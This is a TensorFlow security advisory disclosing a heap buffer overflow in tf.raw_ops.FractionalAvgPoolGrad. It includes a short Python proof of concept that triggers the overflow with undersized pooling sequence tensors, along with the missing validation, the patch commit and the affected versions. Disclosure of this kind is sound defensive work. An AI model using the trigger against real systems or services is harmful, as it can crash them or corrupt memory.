Heap buffer overflow in `FractionalAvgPoolGrad`
### Impact
The implementation of `tf.raw_ops.FractionalAvgPoolGrad` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
orig_input_tensor_shape = tf.constant([1, 3, 2, 3], shape=[4], dtype=tf.int64)
out_backprop = tf.constant([2], shape=[1, 1, 1, 1], dtype=tf.int64)
row_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
col_pooling_sequence = tf.constant([1], shape=[1], dtype=tf.int64)
tf.raw_ops.FractionalAvgPoolGrad(
orig_input_tensor_shape=orig_input_tensor_shape, out_backprop=out_backprop,
row_pooling_sequence=row_pooling_sequence,
col_pooling_sequence=col_pooling_sequence, overlapping=False)
```
The implementation
https://github.com/tensorflow/tensorflow/blob/dcba796a28364d6d7f003f6fe733d82726dda713/tensorflow/core/kernels/fractional_avg_pool_op.cc#L216 fails to validate that the pooling sequence arguments have enough elements as required by the `out_backprop` tensor shape.
### Patches
We have patched the issue in GitHub commit 12c727cee857fa19be717f336943d95fca4ffe4f
https://github.com/tensorflow/tensorflow/commit/12c727cee857fa19be717f336943d95fca4ffe4f.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
### For more information
Please consult our security guide
https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.